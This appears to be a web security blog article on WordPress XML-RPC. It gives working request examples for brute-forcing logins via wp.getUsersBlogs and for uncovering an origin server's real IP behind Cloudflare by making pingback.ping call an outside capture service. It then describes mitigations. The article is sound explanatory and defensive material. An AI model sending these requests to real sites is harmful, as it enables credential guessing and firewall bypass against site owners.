The XML-RPC protocol was originally designed to simplify cross-platform communication between applications. However, recent security research has revealed that it can be exploited for IP disclosure attacks. This article explores how XML-RPC functions, its vulnerabilities in WordPress, and how attackers can use it to expose real IP addresses of servers hidden behind reverse proxies like Cloudflare. Additionally, it provides guidance on mitigating this security risk.
Background: The Rise of XML-RPC
By the late 1990s, distributed system communication had become an essential requirement for web applications. One widely adopted solution was XML-RPC (Remote Procedure Call), a protocol that enables remote procedure execution by transmitting structured XML data. It allows different platforms to interact with websites, facilitating tasks such as content management and automated publishing.
However, this protocol also introduced security concerns. Attackers can manipulate XML data to force websites to execute unintended commands or leak sensitive information. One specific attack vector involves exploiting XML-RPC on WordPress to reveal a server’s real IP address, even when protected by a reverse proxy.
This article explains the mechanics of the XML-RPC protocol, demonstrates how it can be exploited for IP disclosure, and outlines best practices to secure WordPress installations against such attacks.
Understanding the XML-RPC Protocol
The XML-RPC protocol facilitates communication between systems by using HTTP as a transport mechanism and encoding procedure calls in XML format. When a request is sent, the system processes it and returns a response in XML through the HTTP channel.
Structure of an XML-RPC Request
An XML-RPC request is typically an HTTP POST request that contains XML data in its body. If the client is authorized, the server executes the requested procedure and responds with the result in XML format. Below is an example of an XML-RPC request:
POST /RPC2 HTTP/1.1
User-Agent: XXX
Host: example.com
Content-Type: text/xml
Content-Length: 181
<?xml version="1.0"?>
<methodCall>
<methodName>examples.getStateName</methodName>
<params>
<param>
<value><i4>41</i4></value>
</param>
</params>
</methodCall>
Key Components of the Request
- methodName specifies the procedure to be executed.
- params contains the parameters required for the method.
Since XML-RPC operates over HTTP, certain headers are required for proper communication:
- Host is mandatory for HTTP 1.0 and later versions.
- User-Agent is necessary for XML-RPC messages.
- Content-Type must be set to application/xml.
- Content-Length specifies the size of the request body.
The number of parameters in an XML-RPC request depends on the method being called. Each parameter is enclosed in a param node inside the params container. Instead of being named explicitly, parameters are identified by their order, as XML-RPC relies on the sequence of values rather than named arguments.
For instance, the following request includes multiple parameters, each of which is wrapped in a value node with a specified data type:
<params>
<param>
<value><i4>41</i4></value>
</param>
<param>
<value><i4>42</i4></value>
</param>
<param>
<value><i4>43</i4></value>
</param>
</params>
In this case, i4 denotes the parameter type, indicating a 32-bit integer value rather than serving as a parameter name. The system processes the parameters sequentially based on their order within the request.
Data Types in XML-RPC
XML-RPC supports various data types that can be used to structure information in a request. These types fall into scalar types, which hold a single value, and complex types, such as structures and arrays, which can contain multiple values.
Scalar Data Types
Scalar data types store a single piece of information, such as a number, boolean, or string. If no explicit type is specified, XML-RPC assumes the value is a string by default. The following are commonly used scalar types:
Tag | Data Type | Example |
<i4> or <int> |
4-byte integer |
-12 |
<boolean> |
Boolean (1 for true, 0 for false) |
0 or 1 |
<string> |
Text string |
Hello World |
<double> |
Floating-point number |
-12.214 |
<dateTime.iso8601> |
Date and time |
19980717T14:08:55 |
<base64> |
Base64-encoded string |
TmV0c3BhcmtlciBTZWN1cml0eSBTY2FubmVy |
Struct Data Type
A struct is a data structure that groups multiple named values, known as members. Each member consists of a name and an associated value. A struct can contain different types of values, including scalars, arrays, or even nested structs.
Example of a struct containing two integer values:
<struct>
<member>
<name>lowerBound</name>
<value><i4>18</i4></value>
</member>
<member>
<name>upperBound</name>
<value><i4>139</i4></value>
</member>
</struct>
Array Data Type
An array contains multiple unnamed values within a data node. Each value is stored inside a value tag. Like structs, arrays can include different data types and be nested recursively.
Example of an array with mixed data types:
<array>
<data>
<value><i4>12</i4></value>
<value><string>Egypt</string></value>
<value><boolean>0</boolean></value>
<value><i4>-31</i4></value>
</data>
</array>
By combining these scalar and structured data types, XML-RPC enables flexible data exchange across different platforms and applications.
XML-RPC Response Format
In XML-RPC communication, responses must be properly structured to indicate the outcome of a request. If there are no errors, the server returns a response with an HTTP status code of 200, along with appropriate headers:
- Content-Type should be set to application/xml
- Content-Length must reflect the actual size of the response body
Below is an example of a successful XML-RPC response:
HTTP/1.1 200 OK
Connection: close
Content-Length: 158
Content-Type: text/xml
Date: Sun, 26 May 2019 19:55:08 GMT
Server: Apache
<?xml version="1.0"?>
<methodResponse>
<params>
<param>
<value><string>South Dakota</string></value>
</param>
</params>
</methodResponse>
Structure of a Standard Response
The response body must contain a single XML message with a methodResponse node as the root element. The actual response data is placed inside the params node, where each value is wrapped in a param tag.
Handling Errors in XML-RPC
If an error occurs during the request, the response will still have an HTTP 200 status code, but the body will include a fault node instead of params. The fault node follows a structured format containing two elements:
- faultCode (an integer) representing the error type
- faultString (a descriptive message) explaining the issue
Example of an XML-RPC error response due to too many parameters:
HTTP/1.1 200 OK
Connection: close
Content-Length: 426
Content-Type: text/xml
Date: Sun, 26 May 2019 19:55:08 GMT
Server: Apache
<?xml version="1.0"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>4</int></value>
</member>
<member>
<name>faultString</name>
<value><string>Too many parameters.</string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
Key Takeaways
- A successful XML-RPC response is always wrapped in a methodResponse node.
- If an error occurs, a fault node replaces the standard response structure.
- The fault node contains both a faultCode and a faultString to help diagnose issues.
These structured responses allow XML-RPC clients to properly interpret and handle both successful and failed requests.
Implementation of XML-RPC in WordPress
As mentioned earlier, the XML-RPC protocol was designed to facilitate communication between different platforms and distributed systems by enabling remote data transfer and execution of specific actions. Starting from WordPress version 3.5, XML-RPC has been integrated into the platform, allowing API function calls within WordPress.
Through XML-RPC, WordPress developers enable users to perform various actions remotely, such as publishing blog posts, managing comments, deleting content, and viewing site statistics. These features make it possible to interact with a WordPress site from different devices, including mobile applications.
For a WordPress site hosted at http://example.com/wordpress/, the XML-RPC endpoint can be accessed at www.example.com/wordpress/xmlrpc.php. When visiting this URL directly, the server responds with a message similar to the one in the provided image, indicating that the XML-RPC server only accepts POST requests.
Listing XML-RPC Functions in WordPress
WordPress allows users to retrieve a list of all supported XML-RPC methods by sending the following HTTP request:
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
This response provides a comprehensive list of available XML-RPC functions that WordPress supports. While these methods are essential for remote management, they also introduce security concerns.
Security Risks Associated with XML-RPC Methods
The extensive range of XML-RPC functions can be exploited in several types of attacks, including:
- Brute-force attacks: Automated attempts to guess user credentials through repeated login attempts.
- Distributed Denial of Service (DDoS): Attackers can abuse the system.multicall method to send multiple requests at once, overwhelming the server.
- Port scanning: Some methods can be used to probe internal network services, potentially exposing system vulnerabilities.
Over time, security researchers have discovered numerous exploits related to XML-RPC in WordPress, leading to various bug reports and security advisories. Given these risks, it is crucial to assess whether XML-RPC functionality is necessary for a website and take appropriate measures, such as disabling it if not needed or implementing additional security controls.
Example of a Brute-Force Attack Using XML-RPC
Attackers can exploit the XML-RPC protocol in WordPress to carry out brute-force attacks by attempting multiple username and password combinations. Below is an example of an XML-RPC request used in such an attack:
POST /xmlrpc.php HTTP/1.1
User-Agent: Fiddler
Host: www.example.com
Content-Length: 164
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Response from the Server
If the credentials are incorrect, WordPress responds with an HTTP status code 403, along with an error message:
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 26 May 2019 13:30:17 GMT
Content-Type: text/xml; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/7.1.21
Cache-Control: private, must-revalidate
Expires: Sun, 02 Jun 2019 13:30:17 GMT
Content-Length: 403
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>403</int></value>
</member>
<member>
<name>faultString</name>
<value><string>Incorrect username or password.</string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
Why XML-RPC is a Security Risk for Brute-Force Attacks
On a standard login page, repeated failed login attempts often trigger rate limiting, account lockouts, or IP bans to prevent brute-force attacks. However, when authentication is attempted through XML-RPC, these restrictions can be bypassed because WordPress processes the requests differently. Attackers can automate these attempts, continuously sending login requests without triggering traditional security mechanisms.
With XML-RPC being an entry point for various attack vectors, it is essential to assess whether this feature is necessary and apply additional security measures if it remains enabled. Next, we will explore how XML-RPC can be used in IP disclosure attacks.
Extracting the Real IP Address Using Pingback (Cross-Site Port Attack – XSPA)
WordPress includes a pingback feature that can be exploited to reveal the real IP address of a target website, even if it is hidden behind a web application firewall (WAF) like Cloudflare. The pingback functionality is designed to notify other WordPress sites when they are linked in a blog post. When a site receives a pingback, it appears in the comments section of the linked post, which can influence search engine rankings.
Identifying the Pingback Feature
To determine whether the WordPress site supports this feature, we first check if the pingback.ping method is available among the XML-RPC methods. This can be done by listing the supported methods using an XML-RPC request.
Once the pingback.ping method is confirmed, an attacker can send a request to trigger a pingback to a specific URL. Since the server itself will handle the request internally, it bypasses any external firewall protection. Even if the website is protected by a WAF, the server will send the request using its actual IP address, which can then be captured and logged, exposing the real IP behind the security layer.
This technique demonstrates how XML-RPC features, originally designed for legitimate communication, can be manipulated for unintended purposes, emphasizing the need for security measures to restrict or disable unnecessary XML-RPC methods.
Demonstrating the IP Disclosure Attack
To begin, we first identify the actual IP address of the target server by using the ping command in the Command Line Interface (CLI). This allows us to check the server’s response and retrieve its real IP address.
Identifying the IP Address
The response is coming from 104.28.4.43, which does not correspond to the actual server. Instead, this IP address is associated with Cloudflare’s Content Delivery Network (CDN), meaning the request is being routed through Cloudflare rather than directly to the origin server.
Extracting the Real IP Address Using the Pingback Mechanism
To uncover the actual IP address of the target server, we need to exploit the pingback feature. This requires monitoring network traffic to confirm that the pingback request is being sent. To achieve this, we use http://pingb.in, a tool designed to capture incoming requests. By generating a unique sniffer endpoint, we can track the response and extract the real IP address of the target system.
Sending a Pingback Request to Reveal the Target Server’s IP
Next, we need to find the URL of a publicly accessible blog post. This is necessary because we will be leveraging the pingback feature to trick the target server into visiting a specific URL. By doing so, we can capture the server’s real IP address when it makes the request.
For this demonstration, the blog post URL we will be using is:
http://www.example.com/trump-mayin-istifa-kararini-degerlendirdi/
Structure of the Pingback Request
Below is the XML-RPC request template used to trigger the pingback.ping method:
<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string>http://source/url/here</string></value>
</param>
<param>
<value><string>http://target/url/here</string></value>
</param>
</params>
</methodCall>
Explanation of Parameters
- Source URL: This is the URL of an article that contains a link to the target blog post.
- Target URL: The actual blog post URL that the system verifies as linked within the source.
Once the request is processed, the system visits the source URL to confirm that it includes a reference to the target URL.
Example of a Live Pingback Request
Using this template, we send the following XML-RPC request:
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string>http://pingb.in/p/ca373b33e2f3f5e43f9326d09c15</string></value>
</param>
<param>
<value><string>http://www.example.com/trump-mayin-istifa-kararini-degerlendirdi/</string></value>
</param>
</params>
</methodCall>
This forces the target server to access http://pingb.in, allowing us to capture its real IP address when it makes the request. By analyzing the incoming request logs on pingb.in, we can extract the actual IP address of the server, even if it is behind a proxy or firewall.
Capturing the Target Server’s Real IP Address
After sending the request, we can see that the response captured by the HTTP sniffer contains the actual IP address of the server. This confirms that the pingback mechanism successfully forced the server to reveal its real IP, bypassing any protective layers such as a content delivery network (CDN) or web application firewall (WAF).
Identifying the Real Server IP and Bypassing Security Layers
The IP address 94.73.146.99 is the actual IP of the target server. This means that the web application firewall (WAF) or any other security layers protecting the server can be bypassed. By using this IP, it is possible to send HTTP requests directly to the server, effectively circumventing the protections that were in place between the server and the internet.
Mitigating IP Disclosure Attacks
A common recommendation for preventing IP disclosure attacks through XML-RPC is to disable the service entirely. However, completely turning off XML-RPC may cause functionality issues, such as disrupting pingback features, breaking third-party integrations, and interfering with communication between dedicated applications and WordPress.
Disabling the pingback.ping Method
Instead of fully disabling XML-RPC, a more targeted approach is to block the pingback.ping method while keeping other XML-RPC functions intact. This can be done by adding the following code snippet to the functions.php file in WordPress:
add_filter( 'xmlrpc_methods', function( $methods ) {
unset( $methods['pingback.ping'] );
return $methods;
} );
Additional Security Measures
Beyond disabling specific XML-RPC methods, another effective way to reduce the risk of exploitation is to configure traffic filtering rules. By setting up a whitelist for outgoing traffic, the server can be restricted from making unauthorized external requests, minimizing the attack surface.
While XML-RPC was originally designed to enhance cross-platform functionality, it has also introduced various security risks. Implementing the above protective measures can significantly reduce exposure to XML-RPC-related attacks and make exploitation attempts less viable for attackers. Ensuring robust security practices across all features of a web application is essential for maintaining a secure environment.
Get the latest content on web security
in your inbox each week.